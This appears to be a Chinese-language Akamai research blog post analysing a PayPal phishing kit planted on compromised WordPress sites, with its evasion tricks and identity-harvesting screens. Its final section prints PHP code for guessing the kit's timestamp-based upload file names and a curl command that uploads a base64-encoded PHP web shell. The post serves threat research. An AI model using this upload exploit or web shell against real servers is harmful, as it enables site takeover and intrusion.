需要云计算吗? 即刻开始体验

网络钓鱼工具包想要窃走一切:骗局会模仿 PayPal 已知的安全措施

Akamai Wave Blue

寫於

Larry CashdollarAline Eliovich

July 13, 2022

Larry W. Cashdollar 从事安全领域漏洞研究员工作已经超过 18 年,目前是 Akamai Technologies 安全事件响应团队的成员。他曾在南缅因大学学习计算机科学专业。Larry 记录了超过 150 个 CVE,曾经在 BSides Boston、OWASP Rhode Island 和 Defcon 上发言,介绍自己的研究成果。在闲暇时间,他喜欢户外运动和重新制作迷你自行车的发动机。

Aline Eliovich 在安全领域拥有六年的经验,目前是 Akamai 安全情报响应团队的一名研究人员。她曾在霍隆理工学院学习计算机科学。Aline 善于将各种开源情报(OSINT)方法用于她的研究工作。

Akamai 研究人员发现了证据,表明攻击者寄生 WordPress 网站,以执行全面的 PayPal 钓鱼骗局。
Akamai 研究人员发现了证据,表明攻击者寄生 WordPress 网站,以执行全面的 PayPal 钓鱼骗局。

执行摘要

  • Akamai 研究人员发现了证据,表明攻击者寄生良性的 WordPress 网站,以执行全面的 PayPal 钓鱼骗局。

  • 攻击者暴力入侵现有的非恶意 WordPress 网站,并在其中注入其网络钓鱼工具包以便持续入侵。

  • 该网络钓鱼工具包试图获取受害者身份和信息的实质性访问权限,手段是模拟新的安全措施:要求受害者提交其政府证明文件和照片,以及银行信息和电子邮件密码。

  • 这种受害者身份盗用通常是全面的,可能被用于洗钱、避税或者为其他网络犯罪实现身份隐藏等。

  • 身份盗用 在 2021 年影响了 4,200 万人,总计造成相当于 520 亿美元的损失。

  • 该网络钓鱼工具包采用各种社会工程技术来欺骗受害者,将其引入连环圈套,使其提供越来越多的敏感信息。

  • 此网络钓鱼工具包的一个独特之处在于,它通过对连接 IP 地址提供多种不同的检查,确保该地址既与特定域不匹配也不源自安全企业,从而试图直接避开安全公司。

  • 此网站背后的攻击者使用文件管理插件来上传该网络钓鱼工具包。有趣的是,这种机制使其可以进一步利用 WordPress 网站。

  • 该网络钓鱼工具包的作者使用 htaccess 重写 URL,使得 URL 末尾不带 .php。这让网络钓鱼页面看起来更加精美和专业。

前言

网络钓鱼是散布网络攻击和骗局的最普遍方式之一。 约 50% 的美国公民在 2020 至 2022 年间受到了身份盗用的影响,很可能是由于卑劣的攻击者在这片阵地上取得了众多高科技进步。即便人们在网络诈骗和社会工程技术方面的意识有所提升(如以下图表所示),这些数字仍不断攀升。2021 年, 报道称身份盗用导致了高达 520 亿美元的巨额损失, 这类骗局对人们日常生活的重大影响可见一斑。 

网络钓鱼在观感上有一些创新,使其看似比经典的“尼日利亚王子”骗局更为合法。我们在某天早晨检查 WordPress 蜜罐时发现了这样的一个例子:某 PayPal 诈骗网站显示了一个 .zip 格式的文件。该压缩文件名为 paypal_crax_original.zip,包含超过 150 个文件,从 PHP 源代码到字体文件。  

除了典型的信用卡信息或凭据收集,还可从这些虚假登录页面上看出,这次攻击的目标是彻底盗用身份——身份信息全部由受害者本人提供。在这篇博文中,我们将全面分析本次事件,了解该工具包如何进入蜜罐、如何避开检测,最重要的是如何积累个人信息。 

感染媒介

首先,样本通过猜测或暴力破解我们设置的管理 WordPress 凭据抵达蜜罐。该网络钓鱼工具包使用了互联网上找到的常用凭据/密码对列表登录。我们的蜜罐是简单的 WordPress 设置,有意允许通过利用易受攻击的插件或弱管理登录凭据入侵。攻击者是这样“寄生”其他 WordPress 网站并将其作为宿主的:获取凭据,然后安装文件管理插件,用于上传网络钓鱼工具包。我们可以在以下日志中看到这些步骤(图 1 和图 2)。

 

图 1:安装 wp-file-manager 插件 图 1:安装 wp-file-manager 插件
图 2:列出 paypal_crax_original.zip 文件 图 2:列出 paypal_crax_original.zip 文件

连接 IP 的声誉和验证

此网络教育工具包的一个独特之处在于,它试图通过交叉引用特定域的 IP 地址来避开检测。它对连接 IP 地址进行多种不同的检查,确保该地址既与特定域不匹配也不源自安全企业(图 3)。其手段是比较连接 IP 地址与源文件中硬记录的静态 IP 地址范围和域列表。这些 IP 范围即 Google、Microsoft、Sucuri 等公司的网络区块。它还会使用代码中嵌入的 API 密钥,按照 IP 声誉网站检查 IP 地址,查找可能被标记为恶意的 IP。  

 查找可能被标记为恶意的 IP。
(图 3)网络钓鱼工具包所检查域的部分列表 (图 3)网络钓鱼工具包所检查域的部分列表

网络钓鱼网站外观

该网络钓鱼工具包最惊人的方面之一在于,其界面之完美无暇一直持续到 URL。该网络钓鱼工具包的作者使用 htaccess 重写 URL,使得 URL 末尾不带 .php(图 4)。他们这样做是为了使其看起来更像精美的 RESTful 应用程序。链接显示为 http://site/app/login 而不是 http://site/app/login.php,使网站看起来更精美和专业,而看起来专业的网站更容易获取信任。

 

图 4:重连 URL 的 Apache HTTP 服务器规则 图 4:重连 URL 的 Apache HTTP 服务器规则

数据收集

首先,它向受害者呈现了验证码安全挑战(图 5)。为了让人看起来像是合法的 PayPal 登录页面,此行为非常重要,因为用户习惯了在其他网站(尤其是金融网站)登录时有多个安全步骤。

图 5:验证码挑战 图 5:验证码挑战

在受害者接受初始验证码挑战后(它确实会检查输入内容是否匹配),它向受害者显示了提示,要求其输入电子邮件地址和密码(图 6 和图 7)。

 

图 6:电子邮件地址输入提示 图 6:电子邮件地址输入提示
图 7:密码输入提示 图 7:密码输入提示

大多数网络钓鱼攻击通常只会伪装到这种程度,但此工具包则会进一步盗取更多信息,如下所示。此工具包尝试通过声明帐户有异常活动来获取信任——这并非网络钓鱼中的预期行为,因而会获得受害者的信任(图 8)。




图 8:通过声明存在异常活动尝试获取信任 图 8:通过声明存在异常活动尝试获取信任

下一步,当然是验证信用卡号。虽然邮编或 CCV 编号通常就足以确认身份,但这个网络钓鱼工具包提示受害者输入其全部信用卡信息(图 9)。至此,攻击者已经取得了相当多的信息。那么,为什么要在这时停止收集受害者的个人信息呢?接下来你会看到,他们并没有停止。

 

图 9:提交所有信用卡信息 图 9:提交所有信用卡信息

这就是事情变得有趣的地方。下一条提示是要收集 ATM 个人识别号 (PIN)、社会保险号和母亲的娘家姓氏(图 10)。此信息已经远远超出了典型网络钓鱼工具包会尝试收集的范围。  

 

图 10:尝试收集更多敏感信息 图 10:尝试收集更多敏感信息

为什么不将电子邮件地址关联到您的 PayPal 帐户呢?无论您选择链接哪个电子邮件帐户,都会为攻击者提供访问令牌。在下方可以看到,攻击者使用了其创建的电子邮件作为示例来显示凭据(图 11)。经过进一步调查,Gamad.com 网站已经下线一段时间。我猜设置该网站是为了收集凭据或使用已被入侵的合法服务。 

 

图 11:链接你的电子邮件帐户 图 11:链接你的电子邮件帐户

至此,攻击者已掌握凭据、完整的信用卡信息、社会保险号等信息,而他们仍未收手。 

接下来的屏幕收集身份证号并要求提供自拍以验证受害者身份(图 12 和图 13)。这是 IRS 等机构使用的更近期的安全技术,可以进一步获取已经被骗至此的受害者的信任。尽管该工具包无权访问相机来进行自拍(这种验证技术的合法使用中一般如此),但其实这反而能够加深用户的信任。这可能被看作合法的证明,因为采用这些技术的企业通常有着很成熟的安全计划。

 

图 12:上传身份证明文件 图 12:上传身份证明文件
图 13:上传身份证和自拍 图 13:上传身份证和自拍

上传政府证明文件并自拍以对其进行验证,对受害者而言比丢失信用卡信息严重很多,因为这些资料可能被用于以受害者的名义创建加密货币交易帐户。这类帐户又可能被用于洗钱、避税或为其他网络犯罪实现身份隐藏。 

至此,受害者几乎已提供实现彻底身份盗用所需的每种类型的敏感信息(图 14)。 

 

图 14:给予受害者虚假安全感的另一个屏幕 图 14:给予受害者虚假安全感的另一个屏幕

利用文件上传

有趣的是,文件上传特征还包含一个漏洞,其他攻击者可能利用该漏洞上传 web shell 并劫持受感染的网站。文件名是使用时间戳的 md5sum 创建的。虽然所用时间戳精确到毫秒,但这也为攻击者提供了可搜索的 md5sum 键空间,以便在查找其所上传 web shell 的文件名时进行检查。

文件创建代码使用日期和时间以及 UNIX 纪元秒数来生成文件名的 md5sum。这为我们提供了可搜索键空间,我们将由其上传文件,直到结束。利用该时间,使用以下原始代码中经修改的函数创建 md5 哈希的彩虹表。然后,我们用 GET 请求对其进行逐一检查以获取 200 响应。

<?php 
                $t=microtime(true);
                $micro=sprintf("%06d",($t - floor($t))* 1000000);
                $today=date("m.d.y.h.i.s.U".$micro,$t);
                $name=hash('md5',$today);
                 echo $today,"->",$name ;
?>


$ php time.php 
Timestamp :06.24.22.09.40.31.1656078031551004 md5sum :1b0d96dbd15a1885b905c0bdb8c1e9bc

为 md5 sum 创建的字符串由日期、UNIX 时间戳和微秒组成。我们可以这样创建此字符串:使用 bash 函数 expr `date +%s%N` / 1000,然后将其与精确到秒的日期和时间连接起来。然后,生成从最初将文件上传到服务器到完成操作之间的全部时间增量。我在实践中对此进行了测试,但随着网络延迟的增加,键空间也会扩大数倍。以微秒为单位,每一秒都对应着一百万个可能的 md5sum 文件名。如果从文件上传开始到结束之间只过了几秒,这是相对较小的键空间。只要有足够的时间,我们就能暴力破解它。

漏洞利用

找到文件名后,可以使用简单的 curl 脚本上传 base64 编码的小型 web shell。  

$ curl  -d 'doc_type=Passport&images%5B%5D=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAgcGFzc3RocnUoJF9HRVRbJ2knXSk7ID8+%2BCg%3D%3D' -v http://example/tmp/extra/stockers/step7.php

结论

从局外人的角度看,这个工具包可能很显然是不合法的。如果你最近访问过 PayPal 网站,你就会知道它并非真实页面:PayPal 直接链接到信用卡和银行信息,允许使用一次性密码登录,并且绝不会索要你的 ATM PIN。然而,这里的社会工程元素让这个工具包成功欺骗了许多人。

现在的人会根据安全措施来评判品牌和网站。以多种方式验证身份不仅很普遍,而且是登录有超敏感信息的网站(例如金融和医疗保健公司网站)时的预期行为。 

这些网站通过立即使用验证码来告诉受害者存在异常帐户活动,并通过利用官方身份证明等“新增安全措施”来巩固“信任”,让受害者以为自己处于合法情境下。用于确保身份安全的方法,最终也可能导致全面的身份盗用——不止信用卡号,还有加密货币帐户和攻击者想要获取的任何信息。

随着安全措施的不断进步,攻击者也在进步,他们能够收集的个人信息量也越来越大。媒体和职场对安全的宣传越来越多,人们的意识前所未有地清晰,因此,想骗到钱的犯罪分子面临的门槛也越来越高。 



Akamai Wave Blue

寫於

Larry CashdollarAline Eliovich

July 13, 2022

Larry W. Cashdollar 从事安全领域漏洞研究员工作已经超过 18 年,目前是 Akamai Technologies 安全事件响应团队的成员。他曾在南缅因大学学习计算机科学专业。Larry 记录了超过 150 个 CVE,曾经在 BSides Boston、OWASP Rhode Island 和 Defcon 上发言,介绍自己的研究成果。在闲暇时间,他喜欢户外运动和重新制作迷你自行车的发动机。

Aline Eliovich 在安全领域拥有六年的经验,目前是 Akamai 安全情报响应团队的一名研究人员。她曾在霍隆理工学院学习计算机科学。Aline 善于将各种开源情报(OSINT)方法用于她的研究工作。